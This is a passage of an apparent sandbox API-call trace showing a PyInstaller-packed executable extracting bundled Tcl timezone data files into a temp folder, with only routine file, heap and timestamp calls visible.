returned 1 [0040.891] CloseHandle (hObject=0x10c) returned 1 [0040.891] GetLastError () returned 0x0 [0040.891] SetLastError (dwErrCode=0x0) [0040.891] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\South_Georgia") returned 79 [0040.891] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\South_Georgia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\atlantic\\south_georgia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.891] GetLastError () returned 0x2 [0040.891] SetLastError (dwErrCode=0x2) [0040.891] GetLastError () returned 0x2 [0040.891] SetLastError (dwErrCode=0x2) [0040.891] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\South_Georgia", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\South_Georgia", lpFilePart=0x0) returned 0x4e [0040.891] GetLastError () returned 0x2 [0040.891] SetLastError (dwErrCode=0x2) [0040.891] GetLastError () returned 0x2 [0040.891] SetLastError (dwErrCode=0x2) [0040.891] GetLastError () returned 0x2 [0040.891] SetLastError (dwErrCode=0x2) [0040.892] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\South_Georgia") returned 79 [0040.892] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.892] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\South_Georgia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\atlantic\\south_georgia"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.892] GetFileType (hFile=0x10c) returned 0x1 [0040.892] htonl (hostlong=0x9a000000) returned 0x9a [0040.892] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.892] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x9a, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x9a, lpOverlapped=0x0) returned 1 [0040.893] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.893] CloseHandle (hObject=0x10c) returned 1 [0040.893] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.893] htonl (hostlong=0x40000000) returned 0x40 [0040.893] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.893] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.893] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.893] GetFileType (hFile=0x10c) returned 0x1 [0040.893] htonl (hostlong=0xae595b00) returned 0x5b59ae [0040.893] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6009ae, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.893] htonl (hostlong=0x96000000) returned 0x96 [0040.893] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x96) returned 0x55cfe0 [0040.893] htonl (hostlong=0x96000000) returned 0x96 [0040.893] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.893] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.894] htonl (hostlong=0xaf000000) returned 0xaf [0040.894] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xaf) returned 0x550600 [0040.894] htonl (hostlong=0x96000000) returned 0x96 [0040.894] htonl (hostlong=0xaf000000) returned 0xaf [0040.894] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.894] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.894] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0040.894] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.894] CloseHandle (hObject=0x10c) returned 1 [0040.894] GetLastError () returned 0x0 [0040.894] SetLastError (dwErrCode=0x0) [0040.894] GetLastError () returned 0x0 [0040.894] SetLastError (dwErrCode=0x0) [0040.894] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.894] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.894] GetFileType (hFile=0x10c) returned 0x1 [0040.894] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.894] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.894] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.894] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.894] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.894] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.894] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.894] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.894] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.894] CloseHandle (hObject=0x10c) returned 1 [0040.894] GetLastError () returned 0x0 [0040.895] SetLastError (dwErrCode=0x0) [0040.895] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.895] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.895] GetFileType (hFile=0x10c) returned 0x1 [0040.895] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.895] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.895] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.895] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.895] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.895] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.895] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.895] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.895] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.895] CloseHandle (hObject=0x10c) returned 1 [0040.895] GetLastError () returned 0x0 [0040.895] SetLastError (dwErrCode=0x0) [0040.895] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic") returned 65 [0040.895] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\atlantic"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.895] GetFileType (hFile=0x10c) returned 0x1 [0040.895] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.895] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.895] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.895] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.895] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.895] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.896] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.896] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.896] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.896] CloseHandle (hObject=0x10c) returned 1 [0040.896] GetLastError () returned 0x0 [0040.896] SetLastError (dwErrCode=0x0) [0040.896] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\St_Helena") returned 75 [0040.896] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\St_Helena" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\atlantic\\st_helena"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.896] GetLastError () returned 0x2 [0040.896] SetLastError (dwErrCode=0x2) [0040.896] GetLastError () returned 0x2 [0040.896] SetLastError (dwErrCode=0x2) [0040.896] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\St_Helena", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\St_Helena", lpFilePart=0x0) returned 0x4a [0040.896] GetLastError () returned 0x2 [0040.896] SetLastError (dwErrCode=0x2) [0040.896] GetLastError () returned 0x2 [0040.896] SetLastError (dwErrCode=0x2) [0040.896] GetLastError () returned 0x2 [0040.896] SetLastError (dwErrCode=0x2) [0040.896] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\St_Helena") returned 75 [0040.896] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.896] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\St_Helena" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\atlantic\\st_helena"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.897] GetFileType (hFile=0x10c) returned 0x1 [0040.897] htonl (hostlong=0xaf000000) returned 0xaf [0040.897] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.897] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xaf, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xaf, lpOverlapped=0x0) returned 1 [0040.898] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.898] CloseHandle (hObject=0x10c) returned 1 [0040.898] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.898] htonl (hostlong=0x30000000) returned 0x30 [0040.898] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.898] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.898] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.899] GetFileType (hFile=0x10c) returned 0x1 [0040.899] htonl (hostlong=0x445a5b00) returned 0x5b5a44 [0040.899] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x600a44, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.899] htonl (hostlong=0x22020000) returned 0x222 [0040.899] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x222) returned 0x550600 [0040.899] htonl (hostlong=0x22020000) returned 0x222 [0040.899] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.899] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.899] htonl (hostlong=0xa7080000) returned 0x8a7 [0040.899] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8a7) returned 0x55e278 [0040.899] htonl (hostlong=0x22020000) returned 0x222 [0040.899] htonl (hostlong=0xa7080000) returned 0x8a7 [0040.899] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.899] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.899] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.899] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.899] CloseHandle (hObject=0x10c) returned 1 [0040.899] GetLastError () returned 0x0 [0040.899] SetLastError (dwErrCode=0x0) [0040.899] GetLastError () returned 0x0 [0040.899] SetLastError (dwErrCode=0x0) [0040.899] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.899] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.899] GetFileType (hFile=0x10c) returned 0x1 [0040.899] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.899] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.899] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.900] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.900] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.900] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.900] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.900] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.900] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.900] CloseHandle (hObject=0x10c) returned 1 [0040.900] GetLastError () returned 0x0 [0040.900] SetLastError (dwErrCode=0x0) [0040.900] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.900] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.900] GetFileType (hFile=0x10c) returned 0x1 [0040.900] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.900] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.900] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.900] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.900] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.900] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.900] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.900] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.900] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.900] CloseHandle (hObject=0x10c) returned 1 [0040.900] GetLastError () returned 0x0 [0040.900] SetLastError (dwErrCode=0x0) [0040.901] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic") returned 65 [0040.901] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\atlantic"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.901] GetFileType (hFile=0x10c) returned 0x1 [0040.901] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.901] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.901] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.901] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.901] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.901] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.901] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.901] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.901] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.901] CloseHandle (hObject=0x10c) returned 1 [0040.901] GetLastError () returned 0x0 [0040.901] SetLastError (dwErrCode=0x0) [0040.901] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Stanley") returned 73 [0040.901] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Stanley" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\atlantic\\stanley"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.901] GetLastError () returned 0x2 [0040.901] SetLastError (dwErrCode=0x2) [0040.901] GetLastError () returned 0x2 [0040.901] SetLastError (dwErrCode=0x2) [0040.901] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Stanley", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: 